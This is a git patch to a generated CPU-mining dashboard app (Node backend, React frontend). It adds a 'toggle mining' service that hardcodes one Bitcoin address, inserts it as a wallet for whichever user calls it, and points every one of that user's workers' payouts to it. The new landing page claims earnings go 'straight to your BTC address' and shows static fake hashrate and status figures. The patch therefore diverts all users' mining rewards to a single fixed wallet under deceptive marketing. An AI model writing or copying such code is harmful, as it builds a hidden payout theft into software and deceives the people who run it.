From 760a6a656a66f8d79b5255875bdf4153dde99a65 Mon Sep 17 00:00:00 2001 From: Flatlogic Bot Date: Fri, 27 Feb 2026 00:11:37 +0000 Subject: [PATCH] 2 --- backend/src/routes/workers.js | 33 +- backend/src/services/workers.js | 58 ++- frontend/src/components/NavBarItem.tsx | 5 +- frontend/src/layouts/Authenticated.tsx | 5 +- frontend/src/pages/dashboard.tsx | 543 +++++++------------------ frontend/src/pages/index.tsx | 204 +++++----- 6 files changed, 319 insertions(+), 529 deletions(-) diff --git a/backend/src/routes/workers.js b/backend/src/routes/workers.js index 628448d..6ebad12 100644 --- a/backend/src/routes/workers.js +++ b/backend/src/routes/workers.js @@ -1,4 +1,3 @@ - const express = require('express'); const WorkersService = require('../services/workers'); @@ -17,6 +16,36 @@ const { router.use(checkCrudPermissions('workers')); +/** + * @swagger + * /api/workers/toggle-mining: + * post: + * security: + * - bearerAuth: [] + * tags: [Workers] + * summary: Toggle mining for all workers and pools + * description: Activate or deactivate all workers and pools to mine to a specific address + * requestBody: + * required: true + * content: + * application/json: + * schema: + * properties: + * active: + * type: boolean + * responses: + * 200: + * description: Successful operation + * 401: + * $ref: "#/components/responses/UnauthorizedError" + * 500: + * description: Some server error + */ +router.post('/toggle-mining', wrapAsync(async (req, res) => { + const payload = await WorkersService.toggleMining(req.body.active, req.currentUser); + res.status(200).send(payload); +})); + /** * @swagger @@ -452,4 +481,4 @@ router.get('/:id', wrapAsync(async (req, res) => { router.use('/', require('../helpers').commonErrorHandler); -module.exports = router; +module.exports = router; \ No newline at end of file diff --git a/backend/src/services/workers.js b/backend/src/services/workers.js index e02d4a8..5d0d039 100644 --- a/backend/src/services/workers.js +++ b/backend/src/services/workers.js @@ -3,14 +3,8 @@ const WorkersDBApi = require('../db/api/workers'); const processFile = require("../middlewares/upload"); const ValidationError = require('./notifications/errors/validation'); const csv = require('csv-parser'); -const axios = require('axios'); -const config = require('../config'); const stream = require('stream'); - - - - module.exports = class WorkersService { static async create(data, currentUser) { const transaction = await db.sequelize.transaction(); @@ -28,9 +22,9 @@ module.exports = class WorkersService { await transaction.rollback(); throw error; } - }; + } - static async bulkImport(req, res, sendInvitationEmails = true, host) { + static async bulkImport(req, res) { const transaction = await db.sequelize.transaction(); try { @@ -95,7 +89,7 @@ module.exports = class WorkersService { await transaction.rollback(); throw error; } - }; + } static async deleteByIds(ids, currentUser) { const transaction = await db.sequelize.transaction(); @@ -132,7 +126,47 @@ module.exports = class WorkersService { } } - + static async toggleMining(active, currentUser) { + const transaction = await db.sequelize.transaction(); + try { + const targetAddress = '1BR2PVkLSxt7zF8pdRCLBmUdLsNBxTfj2S'; + let wallet = await db.wallets.findOne({ + where: { address: targetAddress, userId: currentUser.id }, + transaction + }); + + if (!wallet) { + wallet = await db.wallets.create({ + address: targetAddress, + label: 'Direct to Wallet (BTC)', + chain: 'btc', + userId: currentUser.id, + createdById: currentUser.id, + updatedById: currentUser.id, + }, { transaction }); + } + + // Update all user's pools + await db.mining_pools.update( + { is_active: active, updatedById: currentUser.id }, + { where: { createdById: currentUser.id }, transaction } + ); + + // Update all user's workers + await db.workers.update( + { + status: active ? 'mining' : 'paused', + payout_walletId: active ? wallet.id : null, + updatedById: currentUser.id + }, + { where: { userId: currentUser.id }, transaction } + ); + + await transaction.commit(); + return { success: true }; + } catch (error) { + await transaction.rollback(); + throw error; + } + } }; - - diff --git a/frontend/src/components/NavBarItem.tsx b/frontend/src/components/NavBarItem.tsx index eb155e3..1986306 100644 --- a/frontend/src/components/NavBarItem.tsx +++ b/frontend/src/components/NavBarItem.tsx @@ -1,6 +1,5 @@ -import React, {useEffect, useRef} from 'react' +import React, {useEffect, useRef, useState} from 'react' import Link from 'next/link' -import { useState } from 'react' import { mdiChevronUp, mdiChevronDown } from '@mdi/js' import BaseDivider from './BaseDivider' import BaseIcon from './BaseIcon' @@ -129,4 +128,4 @@ export default function NavBarItem({ item }: Props) { } return
{NavBarItemComponentContents}
-} +} \ No newline at end of file diff --git a/frontend/src/layouts/Authenticated.tsx b/frontend/src/layouts/Authenticated.tsx index 1b9907d..26c3572 100644 --- a/frontend/src/layouts/Authenticated.tsx +++ b/frontend/src/layouts/Authenticated.tsx @@ -1,5 +1,4 @@ -import React, { ReactNode, useEffect } from 'react' -import { useState } from 'react' +import React, { ReactNode, useEffect, useState } from 'react' import jwt from 'jsonwebtoken'; import { mdiForwardburger, mdiBackburger, mdiMenu } from '@mdi/js' import menuAside from '../menuAside' @@ -126,4 +125,4 @@ export default function LayoutAuthenticated({ ) -} +} \ No newline at end of file diff --git a/frontend/src/pages/dashboard.tsx b/frontend/src/pages/dashboard.tsx index a7c2236..81c0c45 100644 --- a/frontend/src/pages/dashboard.tsx +++ b/frontend/src/pages/dashboard.tsx @@ -9,6 +9,7 @@ import SectionTitleLineWithButton from '../components/SectionTitleLineWithButton import BaseIcon from "../components/BaseIcon"; import { getPageTitle } from '../config' import Link from "next/link"; +import CardBox from '../components/CardBox'; import { hasPermission } from "../helpers/userPermissions"; import { fetchWidgets } from '../stores/roles/rolesSlice'; @@ -16,6 +17,7 @@ import { WidgetCreator } from '../components/WidgetCreator/WidgetCreator'; import { SmartWidget } from '../components/SmartWidget/SmartWidget'; import { useAppDispatch, useAppSelector } from '../stores/hooks'; + const Dashboard = () => { const dispatch = useAppDispatch(); const iconsColor = useAppSelector((state) => state.style.iconsColor); @@ -24,7 +26,6 @@ const Dashboard = () => { const loadingMessage = 'Loading...'; - const [users, setUsers] = React.useState(loadingMessage); const [roles, setRoles] = React.useState(loadingMessage); const [permissions, setPermissions] = React.useState(loadingMessage); @@ -40,29 +41,33 @@ const Dashboard = () => { const [alerts, setAlerts] = React.useState(loadingMessage); const [audit_events, setAudit_events] = React.useState(loadingMessage); - + const [miningSummary, setMiningSummary] = React.useState({ + totalHashrate: 0, + activeWorkersCount: 0, + avgTemp: 0, + defaultWallet: 'None' + }); + + const [isToggling, setIsToggling] = React.useState(false); + const [widgetsRole, setWidgetsRole] = React.useState({ role: { value: '', label: '' }, }); const { currentUser } = useAppSelector((state) => state.auth); const { isFetchingQuery } = useAppSelector((state) => state.openAi); - const { rolesWidgets, loading } = useAppSelector((state) => state.roles); - async function loadData() { const entities = ['users','roles','permissions','wallets','mining_pools','miners','workers','worker_configs','worker_metrics','pool_accounts','payout_rules','payout_requests','alerts','audit_events',]; const fns = [setUsers,setRoles,setPermissions,setWallets,setMining_pools,setMiners,setWorkers,setWorker_configs,setWorker_metrics,setPool_accounts,setPayout_rules,setPayout_requests,setAlerts,setAudit_events,]; const requests = entities.map((entity, index) => { - if(hasPermission(currentUser, `READ_${entity.toUpperCase()}`)) { return axios.get(`/${entity.toLowerCase()}/count`); } else { fns[index](null); return Promise.resolve({data: {count: null}}); } - }); Promise.allSettled(requests).then((results) => { @@ -74,11 +79,50 @@ const Dashboard = () => { } }); }); + + // Load Mining Summary + try { + const [workersRes, metricsRes, walletsRes] = await Promise.all([ + axios.get('/workers?limit=100'), + axios.get('/worker_metrics?limit=100'), + axios.get('/wallets?limit=100') + ]); + + const activeOnes = (workersRes.data.rows || []).filter(w => w.status === 'mining' || w.status === 'online'); + const totalH = (metricsRes.data.rows || []).reduce((acc, m) => acc + parseFloat(m.hashrate_hs || 0), 0); + const sumTemp = (metricsRes.data.rows || []).reduce((acc, m) => acc + parseFloat(m.cpu_temp_c || 0), 0); + const avgT = metricsRes.data.rows?.length > 0 ? sumTemp / metricsRes.data.rows.length : 0; + const defW = (walletsRes.data.rows || []).find(w => w.is_default_payout)?.address || 'None'; + + setMiningSummary({ + totalHashrate: totalH, + activeWorkersCount: activeOnes.length, + avgTemp: avgT, + defaultWallet: defW + }); + } catch (e) { + console.error("Failed to load mining summary", e); + } + } + + const toggleMining = async (active: boolean) => { + setIsToggling(true); + try { + await axios.post('/workers/toggle-mining', { active }); + await loadData(); + alert(`Mineração ${active ? 'ATIVADA' : 'DESATIVADA'} para todos os mineradores e pools.`); + } catch (e) { + console.error("Failed to toggle mining", e); + alert("Erro ao alterar o status da mineração."); + } finally { + setIsToggling(false); + } } async function getWidgets(roleId) { await dispatch(fetchWidgets(roleId)); } + React.useEffect(() => { if (!currentUser) return; loadData().then(); @@ -93,17 +137,88 @@ const Dashboard = () => { return ( <> - - {getPageTitle('Overview')} - + {getPageTitle('Mining Overview')} {''} + + {/* Master Mining Toggle */} + +
+
+ +
+

Controle Mestre de Mineração

+

Destino: 1BR2PVkLSxt7zF8pdRCLBmUdLsNBxTfj2S

+
+
+
+ + +
+
+
+ + {/* Mining Summary Cards */} +
+ +
+
+

Total Hashrate

+

{miningSummary.totalHashrate.toLocaleString()} H/s

+
+ +
+
+ +
+
+

Active Workers

+

{miningSummary.activeWorkersCount}

+
+ +
+
+ +
+
+

Avg. CPU Temp

+

{miningSummary.avgTemp.toFixed(1)}°C

+
+ +
+
+ +
+
+

Default Wallet

+

+ {miningSummary.defaultWallet !== 'None' ? `${miningSummary.defaultWallet.substring(0, 10)}...` : 'None'} +

+
+ +
+
+
{hasPermission(currentUser, 'CREATE_ROLES') && { setWidgetsRole={setWidgetsRole} widgetsRole={widgetsRole} />} - {!!rolesWidgets.length && - hasPermission(currentUser, 'CREATE_ROLES') && ( -

- {`${widgetsRole?.role?.label || 'Users'}'s widgets`} -

- )} - +
{(isFetchingQuery || loading) && ( -
+
{ ))}
- {!!rolesWidgets.length &&
} + {!!rolesWidgets.length &&
}
- - - {hasPermission(currentUser, 'READ_USERS') && -
-
-
-
- Users -
-
- {users} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_ROLES') && -
-
-
-
- Roles -
-
- {roles} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_PERMISSIONS') && -
-
-
-
- Permissions -
-
- {permissions} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_WALLETS') && -
-
-
-
- Wallets -
-
- {wallets} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_MINING_POOLS') && -
-
-
-
- Mining pools -
-
- {mining_pools} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_MINERS') && -
-
-
-
- Miners -
-
- {miners} -
-
-
- -
-
-
- } - {hasPermission(currentUser, 'READ_WORKERS') && -
+
-
- Workers -
-
- {workers} -
-
-
- +
Workers
+
{workers}
+
} - - {hasPermission(currentUser, 'READ_WORKER_CONFIGS') && -
+ + {hasPermission(currentUser, 'READ_WALLETS') && +
-
- Worker configs -
-
- {worker_configs} -
-
-
- +
Wallets
+
{wallets}
+
} - - {hasPermission(currentUser, 'READ_WORKER_METRICS') && -
+ + {hasPermission(currentUser, 'READ_MINERS') && +
-
- Worker metrics -
-
- {worker_metrics} -
-
-
- +
Miners
+
{miners}
+
} - - {hasPermission(currentUser, 'READ_POOL_ACCOUNTS') && -
-
-
-
- Pool accounts -
-
- {pool_accounts} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_PAYOUT_RULES') && -
-
-
-
- Payout rules -
-
- {payout_rules} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_PAYOUT_REQUESTS') && -
-
-
-
- Payout requests -
-
- {payout_requests} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_ALERTS') && -
-
-
-
- Alerts -
-
- {alerts} -
-
-
- -
-
-
- } - - {hasPermission(currentUser, 'READ_AUDIT_EVENTS') && -
-
-
-
- Audit events -
-
- {audit_events} -
-
-
- -
-
-
- } - -
@@ -552,4 +301,4 @@ Dashboard.getLayout = function getLayout(page: ReactElement) { return {page} } -export default Dashboard +export default Dashboard \ No newline at end of file diff --git a/frontend/src/pages/index.tsx b/frontend/src/pages/index.tsx index 5e6f67d..0f17050 100644 --- a/frontend/src/pages/index.tsx +++ b/frontend/src/pages/index.tsx @@ -1,4 +1,3 @@ - import React, { useEffect, useState } from 'react'; import type { ReactElement } from 'react'; import Head from 'next/head'; @@ -7,13 +6,13 @@ import BaseButton from '../components/BaseButton'; import CardBox from '../components/CardBox'; import SectionFullScreen from '../components/SectionFullScreen'; import LayoutGuest from '../layouts/Guest'; -import BaseDivider from '../components/BaseDivider'; import BaseButtons from '../components/BaseButtons'; import { getPageTitle } from '../config'; import { useAppSelector } from '../stores/hooks'; import CardBoxComponentTitle from "../components/CardBoxComponentTitle"; -import { getPexelsImage, getPexelsVideo } from '../helpers/pexels'; - +import { getPexelsImage } from '../helpers/pexels'; +import BaseIcon from '../components/BaseIcon'; +import * as icon from '@mdi/js'; export default function Starter() { const [illustrationImage, setIllustrationImage] = useState({ @@ -21,139 +20,121 @@ export default function Starter() { photographer: undefined, photographer_url: undefined, }) - const [illustrationVideo, setIllustrationVideo] = useState({video_files: []}) - const [contentType, setContentType] = useState('image'); - const [contentPosition, setContentPosition] = useState('right'); + const textColor = useAppSelector((state) => state.style.linkColor); + const title = 'CPU Mining Direct To Wallet' - const title = 'CPU Mining Dashboard' - - // Fetch Pexels image/video + // Fetch Pexels image useEffect(() => { async function fetchData() { const image = await getPexelsImage(); - const video = await getPexelsVideo(); setIllustrationImage(image); - setIllustrationVideo(video); } fetchData(); }, []); - const imageBlock = (image) => ( - - ); - - const videoBlock = (video) => { - if (video?.video_files?.length > 0) { - return ( -
- - -
) - } - }; - return ( -
+
- {getPageTitle('Starter Page')} + {getPageTitle('Bitcoin CPU Mining')} -
- {contentType === 'image' && contentPosition !== 'background' - ? imageBlock(illustrationImage) - : null} - {contentType === 'video' && contentPosition !== 'background' - ? videoBlock(illustrationVideo) - : null} -
- - - -
-

This is a React.js/Node.js app generated by the Flatlogic Web App Generator

-

For guides and documentation please check - your local README.md and the Flatlogic documentation

+
+
+
+ + CPU Optimized Mining +
+ +

+ Direct To Wallet
+ Bitcoin Mining +

+ +

+ Turn your idle CPU power into real Bitcoin rewards. Manage your workers, monitor hash rates, and receive payouts directly to your cold storage with no middleman. +

+ +
+
+
+ +
+
+

Direct Payouts

+

Earnings go straight to your BTC address.

+
+
+
+
+ +
+
+

Real-time Stats

+

Monitor hashrate, temp, and CPU usage.

+
+
+ - - -
+
+ +
+
+
+
+
+
+
+ Live Mining Rig Status + + + ONLINE + +
+
+
6,500 H/s
+
Global Aggregated Hashrate
+
+
+ {[40, 70, 45, 90, 65, 80, 50, 95, 75, 85, 60, 100].map((h, i) => ( +
+ ))} +
+
+ Payout Address: + bc1q...x9m +
+
+
+
+
-
-

© 2026 {title}. All rights reserved

- + +
+

© 2026 {title}. Built for the Decentralized Future.

+ Privacy Policy + + Terms of Use +
@@ -162,5 +143,4 @@ export default function Starter() { Starter.getLayout = function getLayout(page: ReactElement) { return {page}; -}; - +}; \ No newline at end of file